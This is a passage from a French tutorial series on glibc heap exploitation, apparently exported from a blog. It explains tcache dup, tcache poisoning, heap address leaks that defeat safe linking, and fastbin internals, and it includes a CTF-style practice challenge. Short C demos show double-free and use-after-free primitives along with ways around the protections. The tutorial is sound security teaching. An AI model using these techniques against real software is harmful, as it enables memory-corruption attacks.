peut être intéressant dans le cas où deux structures sont différentes mais ont la même taille, par exemple :// Exemple pour les programmes 64 bitsstruct struct_A { void (*premiere_fonction)(void); void (*deuxieme_fonction)(void); };struct struct_B { char description[16]; };Ces deux structures sont certes différentes mais ont la même taille (lorsque le programme est compilé en 64 bits). Ainsi, en exploitant un tcache dup, il est possible d’avoir à la même adresse le buffer description ainsi que les deux pointeurs de fonction de struct_A.Si description peut être modifié, il devient alors possible de contrôler les deux pointeurs de fonctions 😎.Après avoir exploité un tcache dup, il est possible de réaliser par la suite une tcache attack s’il est possible de modifier le premier bloc alloué.🔥 ConséquencesEn exploitant cette vulnérabilité, il est possible d’aboutir à : un chevauchement de données ; une écriture à une adresse arbitraire.🔧 Primitives d’exploitationPlusieurs primitives permettent d’y parvenir : double free : évidemment, s’il n’est pas possible d’appeler free deux fois avec la même adresse, il n’est pas possible de déclencher cette attaque.📃 Détails de l’exploitationChevauchement des blocs allouésTout d’abord, voyons l’une des utilités de cette attaque qui est de pouvoir allouer deux blocs à une même adresse. Considérons le programme suivant, compilé en 64 bits avec la glibc version 2.27 :#include &lt;stdlib.h&gt;#include &lt;stdio.h&gt;int main(){ void *a = malloc(1); free(a); free(a); // exécution du double free printf(\"0x%llx\\n\",malloc(1)); printf(\"0x%llx\\n\",malloc(1)); // L'adresse est la même que la précédente return 0;}Pour rappel, il est possible de compiler le programme avec :gcc -g main.c -o tcache_dup \\ -Wl,--dynamic-linker=./ld-2.27.so \\ -L. -Wl,-rpath=. -l:./libc-2.27.soln -s libc-2.27.so libc.so.6 # Ne pas oublier le lien symbolique !Pour utiliser le conteneur Docker : ⬇️ Téléchargement : pwn-tcache-dup.zip 🔎 SHA256 &amp; Analyse Virus Total : 1b74a488c3d384250a7754394c3848182819344c821fd4ef6d7ec5b8c1a167f1 ⚙️ Construction et lancement du conteneur :docker build -t pwn-tcache-dup .docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-tcache-dupEn lançant l’exécutable vous devriez avoir une sortie de ce type :$ ./tcache_dup0x60fb50d292600x60fb50d29260Les deux allocations ont bien été réalisées à la même adresse ! La technique n’étant pas très compliquée je pense qu’il n’y a pas forcément besoin d’un schéma détaillé pour cela 🙃.Exploitation post 2.29À partir de la version 2.29 de la glibc, comme vous le savez, une protection est mise en place afin de détecter les doubles free. Si vous souhaitez revoir comment fonctionne cette protection, n’hésitez pas à revoir le précédent chapitre, section : Protection contre le double free - version 2.29.Lorsque la double libération d’un même bloc est détectée, un message de ce type s’affichera : \"free(): double free detected in tcache 2\".Pour contourner cette protection, c’est très simple : modifier le champ key, ne serait-ce que d’un octet. Toutefois, si vous trouvez un moyen de modifier key, il se peut que vous ayez également la possibilité de modifier fd auquel cas il pourrait être judicieux d’envisager un tcache poisoning.Réaliser un tcache poisoningSelon le programme que vous cherchez à exploiter, obtenir deux blocs qui se chevauchent peut ne pas être la stratégie la plus pertinente pour progresser dans l’exploitation.Ainsi, si cette option ne nous aide pas à avancer en termes d’exploitation, voyons comment bifurquer vers un tcache poisoning qui nous permettra d’écrire à une adresse arbitraire.Voyons de plus près le programme suivant compilé en 64 bits avec la version 2.27 de la glibc :#include &lt;stdlib.h&gt;#include &lt;stdio.h&gt;#include &lt;string.h&gt;int main(){ void *a = malloc(1); free(a); free(a); // double free void *temp = malloc(1); // EXPLOITATION ICI : Modifier les premiers octets du bloc alloué // afin de modifier le champ `fd` du bloc libre // A partir de là, `fd` est modifié, nous sommes // bien dans le scénario d'une tcache attack malloc(1); char *cible = (char *)malloc(1); strcpy(cible,\"ABCDEFGH\"); return 0;}Ce qui change par rapport à ce qui a été vu précédemment pour la tcache attack est que la réécriture du champ fd est réalisée grâce au bloc temp (en supposant que le programme à exploiter permette de modifier son contenu).Comme d’hab’, le schéma qui résume le fonctionnement du programme : free(a); : le bloc a est libéré pour la première fois, rien d’anormal jusque-là ; free(a); : le bloc a est libéré une deuxième fois, le double free a lieu et fd pointe vers lui-même ; void *temp = malloc(1); : cette première allocation va être utilisée pour modifier l’adresse fd du même bloc, toujours considéré comme étant libre par le programme ; Dans l’hypothèse où le contenu d’un bloc alloué est modifiable, nous modifions fd afin de le faire pointer vers une adresse arbitraire, par exemple 0x5000000abcd0 ; malloc(1); : le bloc alloué est le précédent bloc considéré comme libre. Comme fd pointait vers 0x5000000abcd0, la corbeille du tcache pointe vers cette adresse ; malloc(1); + strcpy(...); : l’allocation du bloc est réalisée à l’adresse cible, nous pouvons enfin écrire à l’adresse arbitrairement choisie !Vous l’aurez compris, cette manière d’aboutir à un tcache poisoning à partir d’un tcache dup peut s’avérer très utile dans le cas où l’on n’arrive pas à trouver facilement une primitive (heap buffer overflow …) permettant de modifier fd.🚧 Obstacles et contraintesDétection de double freeAprès la version 2.29, les doubles free peuvent être détectés via le champ key.💡ContournementIl suffit de modifier au moins un octet de key.Vérification de la libération d’un blocMême si la glibc n’effectue pas de vérification lors d’un double free (avant la version 2.29), il se peut que le programme, lui, fasse cette vérification en utilisant, par exemple, un tableau avec les blocs déjà libres afin d’éviter de libérer deux fois un même bloc.💡ContournementLa manière de contourner une telle protection va dépendre du programme et de la manière dont il applique cette vérification.ASLR et Safe LinkingDans le cas où l’on utilise un tcache dup pour rebondir vers un tcache poisoning, il est évident que nous serons soumis aux mêmes contraintes concernant l’ASLR et le safe linking.3️⃣ tcache leakFaire fuiter une adresse du tas à partir d’un bloc libre du tcache.📋 Exploitabilité selon les versions Version Exploitabilité Commentaire ≤ 2.25 🔴 Le tcache n’est pas utilisé. ≤ 2.31 🟢 Exploitable. ≥ 2.32 🟡 Exploitable mais peut nécessiter un petit calcul supplémentaire en raison du safe linking.. ⚡ RésuméL’exploitation de cette vulnérabilité consiste à afficher le champ fd d’un bloc libre du tcache. Cela permet d’avoir un leak d’une adresse du tas et, par conséquent, contourner l’aléatoirisation des adresses dans le tas.🔥 ConséquencesEn exploitant cette vulnérabilité, il est possible d’aboutir à : une fuite d’une adresse mémoire du tas.🔧 Primitives d’exploitationIl est, entre autres, possible de réaliser cette attaque en utilisant les primitives suivantes : use-after-free : en ayant la possibilité d’afficher les données d’un bloc libre, il peut être possible d’afficher le champ fd ; lecture arbitraire : s’il y a la possibilité de lire le contenu de n’importe quelle adresse en mémoire, il est notamment possible de lire l’adresse contenue dans fd.📃 Détails de l’exploitationAvant la version 2.32Avant la version 2.32, le safe linking n’est pas implémenté. De ce fait le champ fd n’est pas obfusqué et il contient directement une adresse du tas. Enfin, ce n’est pas le cas du dernier bloc d’une corbeille du tcache étant donné qu’il pointe toujours vers 0.Prenons le programme suivant et compilons-le avec la glibc 2.31 :#include &lt;stdlib.h&gt;#include &lt;stdio.h&gt;int main(){ unsigned long long *a = malloc(1); unsigned long long *b = malloc(1); free(a); free(b); printf(\"0x%llx\\n\",*b); // ICI : utiliser un moyen d'afficher `fd` return 0;}En l’exécutant nous avons bien pu récupérer une adresse du tas en affichant la valeur de fd (UAF) :➜ ./exe0x5990cefd42c0 Evidemment, nous avons utilisé printf car nous avons la main sur le code source. En temps normal, il faut se débrouiller pour réussir à afficher cette valeur, avec un use-after-free par exemple.Nous avons affiché le contenu du bloc b car le champ fd du bloc a est nul.Après la version 2.32Nous avons précédemment vu qu’un des moyens de contourner le safe linking est d’avoir une adresse mémoire du tas qui a fuité. Or, le tcache leak permet d’avoir une fuite. Dis comme ça on a l’impression que c’est le serpent qui se mord la queue 🐍.Tout d’abord, pour comprendre le souci que va engendrer le safe linking, modifions légèrement le précédent programme et compilons-le avec la libc 2.32 :#include &lt;stdlib.h&gt;#include &lt;stdio.h&gt;int main(){ unsigned long long *a = malloc(1); unsigned long long *b = malloc(1); free(a); free(b); printf(\"%p\\n\",b); // Ligne ajoutée printf(\"0x%llx\\n\",*b); // ICI : utiliser un moyen d'afficher `fd` return 0;}La ligne ajoutée permet d’avoir l’adresse du bloc afin de la comparer avec ce qu’affiche printf(\"0x%llx\\n\",*b);.Lorsque l’on exécute le programme, voici ce que l’on obtient :➜ ./exe0x5acad15042c00x5acf7dfd57a4En raison du XOR et du décalage de 12 bits, nous constatons deux choses : une partie de l’adresse est obfusquée, à cause du XOR ; le fait qu’il y ait un décalage de 12 bits implique que les 12 bits de poids fort ne sont pas changés.Ainsi, nous pouvons récupérer les 12 bits de poids fort en clair et, si vous avez bien saisi comment fonctionne l’algorithme du safe linking, vous devriez comprendre que cela nous permet donc de reconstruire directement l’adresse en clair !Pour cela, il suffit de xorer les 12 premiers bits avec les 12 suivants de cette manière :Et voilà, le tour est joué 😎 ! Ce petit calcul n’est nécessaire que lorsque l’on affiche le champ fd d’un champ qui n’est pas le dernier. Si nous pouvons afficher le champ fd du dernier bloc, nous aurons directement les bits concernés par l’ASLR (tous les bits sauf les 12 de poids faible). Cela nous permet de contourner l’ASLR. Par exemple, si on avait utilisé printf(\"0x%llx\\n\",*a);, on aurait eu la sortie suivante : 0x5acad1504.🚧 Obstacles et contraintesSafe LinkingEn raison de l’algorithme, il n’est pas possible de faire directement fuiter une adresse du tas (sauf pour le dernier bloc du tcache).💡ContournementIl suffit de xorer les 12 bits de poids fort avec les 12 suivants et ainsi de suite.Présence d’octets nulsSi la fonction utilisée pour faire fuiter fd est une fonction qui s’arrête à un octet nul (ex: printf), il ne sera pas possible de faire fuiter entièrement l’adresse.💡ContournementDeux cas sont possibles : l’octet nul fait partie des bits concernés par l’ASLR : il suffit de relancer le programme ; l’octet nul n’en fait pas partie : il vaut mieux trouver une autre méthode ou une autre fonction permettant de faire fuiter des octets." }, { "title": "Partie 7 - 🏆 Challenge - exploitation du tcache (4/4)", "url": "/posts/exploitation_de_la_heap_partie_7/", "categories": "Pwn, Exploitation de la heap", "tags": "x86, pwn, linux", "date": "2026-04-02 08:00:00 -0200", "snippet": "🏆 Challenge : exploitation du tcache (4/4)En s’intéressant à un seul type de corbeille, vous avez pu constater la quantité importante d’informations qu’il convient de connaître pour comprendre le f...", "content": "🏆 Challenge : exploitation du tcache (4/4)En s’intéressant à un seul type de corbeille, vous avez pu constater la quantité importante d’informations qu’il convient de connaître pour comprendre le fonctionnement du tcache en fonction des multiples versions de la libc 🤯.Il est désormais temps de passer à la pratique afin de ne pas oublier ces connaissances fraîchement acquises. ⬇️ Téléchargement : pwn-chall-tcache.zip 🔎 SHA256 &amp; Analyse Virus Total : 6f8fde29b28a759f85ebb1639df9127521881fc48aea57897bd8f5694e551762 🎯 Objectif : modifier le contenu de la chaîne de caractères goal. Ce challenge est plutôt à considérer comme un exercice de synthèse. Honnêtement, il n’est pas très compliqué et si vous avez saisi les bases du fonctionnement du tcache, vous devriez le réussir sans souci.💻 Contexte d’exécutionAfin de se placer dans le contexte d’exécution prévu pour cet exercice, il est nécessaire de : activer l’ASLR ; atteindre l’objectif en dehors d’un débogueur ; utiliser la version de la glibc 2.31-0ubuntu9.16_amd64. Cette version de la glibc est facilement téléchargeable avec glibc-all-in-one. N’hésitez pas à jeter un œil au chapitre Comment compiler et déboguer un programme avec une version spécifique de la libc si vous avez oublié comment faire. Il est fortement recommandé de résoudre le challenge dans le conteneur Docker afin d’éviter d’avoir à télécharger la bonne version de la libc et afin de pouvoir obtenir un environnement d’exploitation correct pour la réalisation de ce challenge.💫 Lancer le challengeCi-dessous les commandes permettant de lancer le challenge : construction du conteneur : docker build -t pwn-chall-tcache .; lancement du conteneur et du challenge :docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-chall-tcacheLe port accessible est le suivant : 1234 : port qu’il est possible d’utiliser pour déboguer à distance avec gdbserver.🤓 Quelques conseils Analysez les différentes fonctionnalités du programme une par une En fonction de la version de la glibc et des protections en place, prenez le temps de réfléchir aux potentiels problèmes auxquels vous pourriez faire face ainsi qu’aux moyens de les contourner L’objectif à atteindre est plus facile que de devenir root. Il s’agit simplement de mettre en œuvre ce que vous avez appris lors du précédent chapitre. Si vous n’arrivez pas à trouver comment exploiter le programme, n’hésitez pas à y refaire un tour 😉 N’hésitez pas à ouvrir gdb dans votre script d’exploitation avec la commande ci-dessous, afin de voir ce qui est en train de se passer dans le tas :gdb.attach(io, ''' b *0xadresse ''') Astuce pwntools : Vous pouvez changer la version de gdb que pwntools utilise en créant un lien symbolique /usr/bin/pwntools-gdb. Par exemple : sudo ln -s /usr/bin/gdb-gef++ /usr/bin/pwntools-gdb💡 IndicesVm9pY2kgcXVlbHF1ZXMgaW5kaWNlcyBxdWkgZGV2cmFpZW50IHZvdXMgcGVybWV0dHJlIGQnYXZhbmNlciBzaSB2b3VzIMOqdGVzIGJsb3F1w6lzIGV0IHF1ZSB2b3VzIG5lIHZveWV6IHBhcyBjb21tZW50IGFsbGVyIHBsdXMgbG9pbi4=💡 Indice n°1T8O5IGVzdCBsb2NhbGlzw6kgbGUgY29udGVudSBkZSBsYSB2YXJpYWJsZSBnbG9iYWxlIGBnb2FsYCA/IERhbnMgbGEgcGlsZSA/IERhbnMgbGUgdGFzID8gRGFucyBsYSBzZWN0aW9uIGRlIGRvbm7DqWVzID8gQXV0cmUgPw==💡 Indice n°2UHJlbmV6IGJpZW4gbGUgdGVtcHMgZGUgY29tcHJlbmRyZSBsZSBmb25jdGlvbm5lbWVudCBkZXMgZGlmZsOpcmVudGVzIGFjdGlvbnMgZHUgcHJvZ3JhbW1lLiBRdWVsbGVzIHNvbnQgbGVzIGRpZmbDqXJlbmNlcyBlbnRyZSBlbGxlcyA/IENvbW1lbnQgc29udCBnw6lyw6llcyBsZXMgZG9ubsOpZXMgPwoKWSBhLXQtaWwgdW5lIGRlcyBhY3Rpb25zIHF1aSBlc3QgcGx1cyB2dWxuw6lyYWJsZSBxdWUgbGVzIGF1dHJlcyA/💡 Indice n°3QXZlYyBsJyoqQVNMUioqLCBub3VzIG5lIHBvdXZvbnMgcGFzIGNvbm5hw650cmUgw6AgbCdhdmFuY2UgbGUgY29udGVudSBkZSBgZmRgLiBJbCBlc3QgcG9zc2libGUgZGUgbW9kaWZpZXIgY2VydGFpbnMgb2N0ZXRzIGRlIHBvaWRzIGZhaWJsZSBtYWlzLCBlbiByYWlzb24gZGUgbCcqKkFTTFIqKiwgdW4gcGV1IGRlIGZvcmNlIGJydXRlIHNlcmEgbsOpY2Vzc2FpcmUuCgpJbCBmYXVkcmFpdCB0cm91dmVyIHVuIG1veWVuIGQnb2J0ZW5pciB1biAqbGVhayogYWZpbiBkZSBwb3V2b2lyIG1vZGlmaWVyIGBmZGAgc2FucyBhdm9pciByZWNvdXJzIMOgIGxhIGZvcmNlIGJydXRlIC4uLg==💡 Indice n°4RW4gdXRpbGlzYW50IHVuZSBkZXMgdnVsbsOpcmFiaWxpdMOpcyBkdSBgdGNhY2hlYCBkdSBwcsOpY8OpZGVudCBjaGFwaXRyZSwgZXN0LWlsIHBvc3NpYmxlIGRlIGNvbnRyw7RsZXIgbGEgcHJvY2hhaW5lIGFsbG9jYXRpb24gPw==" }, { "title": "Partie 8 - Les fastbins - fonctionnement interne (1/4)", "url": "/posts/exploitation_de_la_heap_partie_8/", "categories": "Pwn, Exploitation de la heap", "tags": "x86, pwn, linux", "date": "2026-04-01 08:00:00 -0200", "snippet": "Les fastbins : fonctionnement interne (1/4)Et si nous regardions à quoi ressemble le prédécesseur du tcache ? Enfin, pas tout à fait son ancêtre, puisqu’ils ne fonctionnent pas exactement de la mêm...", "content": "Les fastbins : fonctionnement interne (1/4)Et si nous regardions à quoi ressemble le prédécesseur du tcache ? Enfin, pas tout à fait son ancêtre, puisqu’ils ne fonctionnent pas exactement de la même manière. Quoi qu’il en soit, ils coexistent paisiblement depuis la version 2.26 😇. Par fastbins au pluriel, on entend “les différentes corbeilles de type fastbin”. Encore un abus de langage qui, j’espère, ne vous dérangera pas trop 🫣.UtilisationLes fastbins ont plusieurs points communs avec le tcache : elles peuvent gérer des blocs de petite taille ; les blocs libres sont liés sous forme de liste chaînée ; la liste chaînée est de type LIFO ; il y a moins de corbeilles de type fastbin que de type tcache (respectivement 10 contre 64) ; la libc, plus précisément l’arène, pointe vers le premier bloc seulement.Quant aux différences, ce sont essentiellement les suivantes : le tcache est utilisé avant les fastbins tant qu’il y a de la place pour un bloc libre ; il n’y a pas de limite au nombre de blocs dans une des corbeilles de type fastbin contrairement au tcache qui avait une limite de 7 blocs ; la taille maximale des blocs gérés est plus petite, voir ci-dessous ; dans les fastbins, le champ fd d’un bloc libre ne pointe pas vers le champ fd du bloc suivant. Il pointe plutôt vers le champ prev_size, qui correspond au début du bloc suivant, plus précisément au début de ses métadonnées ; les blocs libres des fastbins peuvent être consolidés, sans pour autant utiliser le champ prev_size. Contrairement aux blocs de plus grande taille, les blocs libres des fastbins ne sont pas immédiatement consolidés. Leur consolidation a lieu lorsque la fonction malloc_consolidate est appelée, par exemple lorsqu’un bloc de grande taille est alloué et qu’il y a des blocs libres adjacents dans les fastbins ; les différentes corbeilles de type fastbin sont gérées via l’arène, ce qui n’est pas le cas du tcache.Gestion des blocs libresTaille des blocs gérés - résumé Les tailles données ici sont celles retournées par malloc après avoir pris en compte l’alignement et l’espace nécessaire pour les métadonnées.Les tailles de blocs gérés par les fastbins sont les suivantes (en octets) : Architecture Taille min d’un bloc libre Taille max d’un bloc libre 32 bits (anciennes versions * ) 0x8 0x48 32 bits 0x10 0x40 64 bits 0x20 0x80 * Dans les anciennes versions de la glibc, comme la 2.5, la taille maximale d’un bloc libre est bien de 0x48, cela est certain. Concernant la taille minimale, elle semblerait être de 0x8, mais ce point reste à vérifier.Vous l’aurez compris, les fastbins ne gèrent que les blocs de petite taille.Taille des blocs gérés - détailsEt si on lisait un peu de code source de la glibc pour apprendre à trouver et comprendre ce type d’information ? Essayons notamment d’identifier : le nombre de corbeilles de type fastbins ; la taille de blocs gérée par ces corbeilles.Tout d’abord, voyons comment sont gérées les fastbins depuis l’arène (dont le nom de la structure est malloc_state) :struct malloc_state{ __libc_lock_define (, mutex); int flags; int have_fastchunks; mfastbinptr fastbinsY[NFASTBINS]; // &lt;-- Ici ! // (...)} Pour rappel, une arène est une sorte de déchetterie intelligente qui gère les différentes corbeilles.Le membre fastbinsY est la liste des différentes fastbins. Il y en a exactement NFASTBINS. Cela ne nous avance pas, je ne comprends toujours pas combien il y a de fastbins ?Pour trouver la valeur exacte de NFASTBINS, on ne va pas se mentir, ce n’est pas si trivial que ça. Utilisons le site elixir.bootlin.com pour naviguer dans le code source de la glibc afin de décortiquer tout cela, notamment les lignes suivantes :#define MAX_FAST_SIZE (80 * SIZE_SZ / 4)#define NFASTBINS (fastbin_index (request2size (MAX_FAST_SIZE)) + 1)Pour résumer, voici à quoi servent les fonctions fastbin_index et request2size : fastbin_index : initialement, cette fonction permet de trouver la corbeille adéquate pour un bloc libéré d’une taille donnée ; request2size : permet de trouver la taille de bloc à utiliser en prenant en compte les métadonnées.Je vous épargne les détails des calculs 🥵, voici comment sont agencées les 10 fastbins en fonction de l’architecture : Index Taille de blocs gérée (32 bits) Taille de blocs gérée (64 bits) 0 0x10 0x20 1 0x18 0x30 2 0x20 0x40 3 0x28 0x50 4 0x30 0x60 5 0x38 0x70 6 0x40 0x80 7* 0x48 0x90 8* 0x50 0xa0 9* 0x58 0xb0 Dans les dernières versions de la glibc, la taille des blocs est toujours alignée sur 0x10 octets et ce, même en 32 bits. Ce qui implique que seule une corbeille sur deux est utilisée en 32 bits dans les versions récentes. Oui, c’est chelou 😆.Les trois dernières corbeilles ne sont généralement jamais utilisées. Pourtant, la macro MAX_FAST_SIZE vaut bien 0x50 et 0xa0 en 32 et 64 bits 😶. Pour comprendre pourquoi un tel comportement est observé, analysons de plus près la manière dont est utilisée la fonction get_max_fast lorsqu’un bloc est libéré via free :static void_int_free (mstate av, mchunkptr p, int have_lock){// (...) /* If eligible, place chunk on a fastbin so it can be found and used quickly in malloc. */ if ((unsigned long)(size) &lt;= (unsigned long)(get_max_fast ())// (...)Avant d’insérer un bloc libre dans une fastbin, sa taille est comparée au résultat de get_max_fast. Cette fonction ne fait que retourner la valeur de la variable globale global_max_fast. Que vaut cette variable ? Où a-t-elle été initialisée pour la première fois ?En utilisant le système de recherche de référence de bootlin, nous constatons que global_max_fast est initialisée lors de l’appel de set_max_fast (DEFAULT_MXFAST); .Quant à la macro DEFAULT_MXFAST, elle vaut 0x80 en 64 bits et 0x40 en 32 bits. Ainsi, la précédente vérification avant d’insérer un bloc dans une fastbin est équivalente à : en 32 bits : if ((unsigned long)(size) &lt;= 0x40) ; en 64 bits : if ((unsigned long)(size) &lt;= 0x80).C’est pourquoi les 3 dernières fastbins ne sont pas utilisées. À quoi ça sert alors d’en mettre 10 si seulement 7 sont utilisées ?Honnêtement je n’en ai aucune idée 😅. Peut-être par souci de performance sachant que le développeur (ou hackeur 😎) peut modifier la valeur de global_max_fast afin de pouvoir utiliser les trois dernières fastbins. De temps à autre, n’hésitez pas à jeter un œil au code source de la glibc. Ce n’est pas très compliqué à comprendre et cela permet de mieux cerner le fonctionnement du tas ainsi que des vulnérabilités qui ont pu être présentes au fil des versions.Organisation des corbeillesListe chaînée de type LIFOBonne nouvelle : si vous avez bien saisi le fonctionnement du tcache vous n’aurez aucun souci à comprendre celui des fastbins 😎.En effet, ce sont : des listes LIFO : le dernier bloc libre inséré sera le premier à être utilisé ; des listes chaînées : chaque bloc pointe vers le suivant.Néanmoins, quelques différences subsistent : il n’y a pas de limites de blocs libres dans une fastbin ; le membre fd pointe vers le champ prev_size du prochain bloc ; c’est l’arène qui gère directement les fastbins.Imaginons que trois blocs de 0x20 octets A, B et C soient libérés respectivement dans cet ordre. En supposant que ces blocs aillent directement dans une fastbin, et non dans le tcache, la liste chaînée a cette forme : Le champ prev_size n’est pas utilisé en tant que tel dans les fastbins. La seule raison pour laquelle nous l’avons représenté dans chaque bloc est que le champ fd d’un bloc libre d’une fastbin pointe vers l’adresse du bloc suivant, ce qui revient à pointer vers prev_size.Gestion des différentes fastbinsJe vous propose de compiler ce programme afin d’avoir une vue panoramique sur ces fastbins dans gdb :#include &lt;stdlib.h&gt;int main(){ void *a = malloc(0x20-8); void *b = malloc(0x30-8); void *c = malloc(0x40-8); void *d = malloc(0x50-8); void *e = malloc(0x60-8); void *f = malloc(0x70-8); void *g = malloc(0x80-8); void *h = malloc(0x90-8); void *temp = malloc(1); free(a); free(b); free(c); free(d); free(e); free(f); free(g); free(h); return 0;} Pour éviter que les blocs libres aillent dans le tcache, compilez le programme avec une version de la glibc antérieure à la version 2.26. En l’occurrence, nous avons utilisé la version 2.24-9ubuntu2.2_amd64.Accès au conteneur Docker : ⬇️ Téléchargement : pwn-fastbin-exemple-1.zip 🔎 SHA256 &amp; Analyse Virus Total : 66b9d5fc955217436b8e767a06b711bbbb8e6a9162cef2e9add50b809ff53d04 ⚙️ Construction et lancement du conteneur :docker build -t pwn-fastbin-exemple-1 .docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-fastbin-exemple-1Le programme, compilé en 64 bits, réalise ceci : allocation de 8 blocs par pas de 0x10 octets ; allocation d’un bloc temp afin d’éviter une consolidation avec le bloc du sommet lors de la libération du bloc h ; libération des 8 premiers blocs.Ouvrons le programme avec gdb-gef++ et exécutons le programme jusqu’au return 0; du main.Affichons le contenu de toutes les corbeilles avec la commande bins :Comme cela a été expliqué précédemment, seules les 7 premières fastbins sont réellement utilisées ; le 8ème bloc est envoyé dans la unsorted bin, une corbeille fourre-tout dont on aura l’occasion de parler ultérieurement.Voyons à présent comment sont gérées les fastbins au niveau de l’arène grâce à la commande arena :Rien de bien compliqué : fastbinsY est un tableau qui pointe vers le premier bloc de chaque fastbin. Les 3 dernières n’étant pas utilisées, leur contenu dans le tableau fastbinsY est nul. Que représente le Y dans fastbinsY ?Je n’en ai aucune idée 😅, si vous avez la réponse, faites-moi signe.Structure et métadonnées d’un bloc issu d’une fastbin Les schémas utilisés ci-dessous représentent des blocs de 0x20 mais ce n’est évidemment pas la seule taille gérée par les fastbins.La structure des blocs libres des fastbins est plus simple que ceux du tcache car le champ bk n’est jamais utilisé.Avant la version 2.32Avec : fd : pointeur vers le prochain bloc de la même corbeille de type fastbin. Le champ prev_size est représenté ici mais n’est pas utilisé par les fastbins.Après la version 2.32Les fastbins n’ont pas échappé au système de safe linking. Le champ fd est donc “chiffré” via la macro PROTECT_PTR :Avec : fd' : résultat issu de la macro PROTECT_PTR appliquée sur la valeur initiale de fd ainsi que son adresse &amp;fd." }, { "title": "Partie 9 - Les fastbins - mécanismes de protection (2/4)", "url": "/posts/exploitation_de_la_heap_partie_9/", "categories": "Pwn, Exploitation de la heap", "tags": "x86, pwn, linux", "date": "2026-03-31 08:00:00 -0200", "snippet": "Les fastbins : mécanismes de protection (2/4)Protections selon les versionsComme nous l’avions fait précédemment pour le tcache, jetons un œil aux différentes protections mises en place dans les fa...", "content": "Les fastbins : mécanismes de protection (2/4)Protections selon les versionsComme nous l’avions fait précédemment pour le tcache, jetons un œil aux différentes protections mises en place dans les fastbins au fil du temps : 2.3.4 : Détection de double free lorsqu’un bloc est libéré deux fois de manière consécutive ; Quand un bloc est alloué à partir d’un bloc libre d’une fastbin, le programme vérifie que la taille de ce dernier est bien cohérente avec la fastbin dont on l’a extrait ; Lorsqu’un bloc est en cours de libération vers une corbeille de type fastbin, une vérification est réalisée pour s’assurer que la taille du bloc suivant (ie : le bloc situé immédiatement après le bloc en cours de libération) est correcte; 2.27 : Vérification de la taille des blocs consolidés provenant des fastbins 2.29 : Contrôle de la taille des blocs via prev_size lors de la consolidation 2.32 : mise en place du safe linking détection des blocs non alignés dans les fastbins Certaines protections et certains contournements sont nouveaux, nous mettrons ainsi l’accent dessus. En revanche, les protections similaires à celles implémentées dans le tcache ne seront pas vues en détail étant donné que le fonctionnement est identique (exemple : le safe linking). Comme pour les protections du tcache : ces détails techniques ne sont pas à apprendre par cœur. Certaines de ces protections sont anecdotiques et ne concernent que des challenges très poussés. Dans un tel cas, essayez de comprendre comment fonctionne globalement une fastbin et rappelez-vous que vous pourrez revenir ici pour trouver les informations dont vous avez besoin.Version 2.3.4 - Détection du double free❌ Message d’erreur associé : double free or corruption (fasttop).Comme vous pouvez le voir, la protection contre les doubles free a été mise en place très tôt, en 2004 😄.Cette détection repose sur une vérification des plus basiques qui soient : vérifier que le bloc que l’on libère n’est pas déjà en tête de la corbeille dans laquelle on souhaite l’insérer. Auquel cas, il s’agit d’un double free.Le contournement de cette protection est également très simple : il suffit de libérer un bloc, différent, de même taille afin qu’il aille en tête de corbeille. Le plus drôle dans tout ça, c’est que ce contournement est toujours d’actualité, dans la version 2.40, à l’heure où sont écrites ces lignes ! Pourquoi ça n’a pas été corrigé entre temps ?Je ne sais pas trop … Peut-être parce que les fastbins sont bien moins utilisées depuis que le tcache existe ?Version 2.3.4 - Vérification de la taille du bloc alloué❌ Message d’erreur associé : malloc(): memory corruption (fast).Lors de l’allocation d’un bloc de taille n, s’il existe au moins un bloc libre dans la fastbin qui gère les blocs de taille n, alors ce bloc libre est alloué par malloc.Toutefois, une vérification est effectuée sur la taille du bloc retourné : a-t-il réellement la taille n ? ✅ Si oui : rien à signaler, le bloc libre est alloué ; ❌ si non : une corruption de la taille a sûrement eu lieu, le programme s’arrête.La vérification est réalisée à ce niveau : if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))\tmalloc_printerr (check_action, \"malloc(): memory corruption (fast)\",\t\t\t chunk2mem (victim));Avec : idx : l’index de la fastbin dont le bloc libre va être alloué ;Version 2.3.4 - Vérification de la taille du bloc suivant❌ Message d’erreur associé : free(): invalid next size (fast).Lorsqu’un bloc est en cours de libération via free, la glibc vérifie que le bloc suivant, c’est-à-dire celui qui est situé immédiatement après le bloc en cours de libération, a une taille correcte. Cela consiste à vérifier que la taille du bloc suivant est entre la taille minimale (2 * SIZE_SZ) et la taille maximale (av-&gt;system_mem) qu’un bloc puisse avoir : if (__builtin_expect (chunk_at_offset (p, size)-&gt;size &lt;= 2 * SIZE_SZ, 0)\t|| \t__builtin_expect (chunksize (chunk_at_offset (p, size)) &gt;= av-&gt;system_mem,0)) {\t\terrstr = \"free(): invalid next size (fast)\";\t\tgoto errout; }Bon. Pas forcément la vérification la plus intéressante que l’on ait vue 😅.Version 2.27 - Vérification de la taille des blocs consolidés❌ Message d’erreur associé : malloc_consolidate(): invalid chunk size.La consolidation dans les fastbinsProfitons de l’occasion pour rappeler le fonctionnement de la consolidation. Nous en avions brièvement parlé lorsque l’on a vu qu’un gros bloc libéré est fusionné avec le bloc du sommet, si ces derniers sont adjacents. Mais t’avais pas dit que les fastbins ne gèrent que de petits blocs 🤔?Justement, tout le paradoxe est là ! Comme les fastbins ne gèrent que de petits blocs, ces derniers ne sont jamais fusionnés entre eux, en temps normal. De ce fait la libc va, de temps à autre, fusionner les blocs libres des différentes corbeilles de type fastbin. Quand je dis “de temps à autre”, cela ne signifie pas que la consolidation est réalisée aléatoirement.En effet, la consolidation des blocs libres des fastbins est réalisée à certains moments précis : l’allocation d’un gros bloc, qui ne peut pas être alloué depuis une fastbin ou small bin (ex : malloc(0x400)). Nous n’avons pas encore vu les différentes tailles gérées par les small bins, mais sachez qu’elles portent bien leur nom 😉 ; la libération d’un bloc ayant une taille supérieure à FASTBIN_CONSOLIDATION_THRESHOLD (qui vaut 0x10000). Attention, ce n’est pas que la taille initiale du bloc libéré qui est prise en considération : si un petit bloc est libéré mais que, suite à plusieurs consolidations, il devienne un gros bloc, alors cela déclenche la consolidation. Cette consolidation peut avoir lieu en raison d’autres facteurs/fonctions. Une liste plus détaillée est disponible ici pour les plus curieux.Je vous propose de décortiquer l’exécution du programme suivant afin de voir ce qui se passe dans la première corbeille avant et après consolidation :#include &lt;stdlib.h&gt;#include 